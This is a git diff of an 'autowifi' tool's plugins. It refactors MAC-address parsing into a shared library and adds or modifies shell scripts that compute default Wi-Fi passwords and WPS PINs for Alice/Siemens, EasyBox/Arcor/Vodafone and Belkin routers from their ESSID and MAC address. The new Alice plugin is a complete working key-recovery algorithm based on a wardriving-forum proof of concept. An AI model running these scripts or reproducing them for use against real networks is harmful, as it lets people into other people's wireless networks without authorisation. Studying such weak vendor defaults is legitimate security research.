diff options
Diffstat (limited to 'usr/lib')
-rw-r--r-- | usr/lib/autowifi/lib/plugin_core | 26 | ||||
-rwxr-xr-x | usr/lib/autowifi/plugins/02alice | 20 | ||||
-rwxr-xr-x | usr/lib/autowifi/plugins/02easybox | 19 | ||||
-rwxr-xr-x | usr/lib/autowifi/plugins/11belkin_wps | 9 |
4 files changed, 51 insertions, 23 deletions
diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core index da003350..1b83b0c3 100644 --- a/usr/lib/autowifi/lib/plugin_core +++ b/usr/lib/autowifi/lib/plugin_core @@ -1,24 +1,38 @@ +#!/bin/sh parse_plugin_args(){ [ $# -ne 4 ] && plugin_usage && exit 1 # convenience function to put args in ENV variables ESSID="$1" - MAC="$2" + + # mac is returned without colon + MAC=$(printf "%s" "$2" | sed 's/://g') + # split up the mac address to vendor and private part + VENDOR_MAC=${MAC:0:6} + PRIVATE_MAC=${MAC:6:12} CHANNEL="$3" ENC="$4" - if [ ${#MAC} -ne 17 ] ;then + if [ ${#MAC} -ne 12 ] ;then echo "MAC malformed" exit 1 fi } plugin_usage(){ cat << EOF -usage: $0 ESSID MAC CHANNEL ENC WPA WPA2" +usage: $0 ESSID MAC CHANNEL ENC" ESSID - string MAC - 00:11:22:33:44:55 - ENC - on | off - WPA - 0 | 1 - WPA2 - 0 | 1 + CHANNEL - 4 + ENC - wpa EOF } + +check_vendor_mac(){ + needle="$(printf $1 | tr '[A-Z]' '[a-z]')" + shift + for i in "$@";do + [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0 + done + return 1 +} diff --git a/usr/lib/autowifi/plugins/02alice b/usr/lib/autowifi/plugins/02alice new file mode 100755 index 00000000..1b4533a4 --- /dev/null +++ b/usr/lib/autowifi/plugins/02alice @@ -0,0 +1,20 @@ +#!/bin/sh +# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm: +# Based on Poc from +# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html +# +# +# ESSID MAC CHANNEL ENCRYPTION + +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1 + +# printf always makes string to lower, need that for correct md5sum +ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) +TMP=$(printf $ETHMAC | md5sum) +printf ${TMP:0:12} | base64 +exit 0 diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox index 2126e17c..3d7cb8c1 100755 --- a/usr/lib/autowifi/plugins/02easybox +++ b/usr/lib/autowifi/plugins/02easybox @@ -1,21 +1,20 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! echo "$1" | egrep -qi "(EasyBox-|Arcor-|Vodafone-)"; then - exit 1 -else - MAC=${2?\$2 must be MAC} - # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core +parse_plugin_args "$@" - take5=${MAC:12} - last4=${take5/:/} +if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then + echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" + exit 1 +else # Fill up to 4 places with zeros, if necessary: - deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') - #echo M4: ${deci[@]} + deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g') # # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: - hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + hexi=$(echo ${MAC:8:4} | sed 's/./& /g') #echo 'M4 (Hex): ' ${hexi[@]} # K1 = last byte of (d0 + d1 + h2 + h3) # K2 = last byte of (h0 + h1 + d2 + d3) diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 82140523..65e08624 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -15,13 +15,8 @@ cd $(dirname $(readlink -f $0)) . ../lib/wps parse_plugin_args "$@" -MAC=$(printf "%s" $MAC| sed 's/://g') -VENDOR_MAC=${MAC:0:6} -PRIVATE_MAC=${MAC:6:12} -if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then - echo "VENDOR MAC $VENDOR_MAC not affected" - exit 1 -fi + +! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 calc_belkin(){ PRIVATE_MAC=${1} |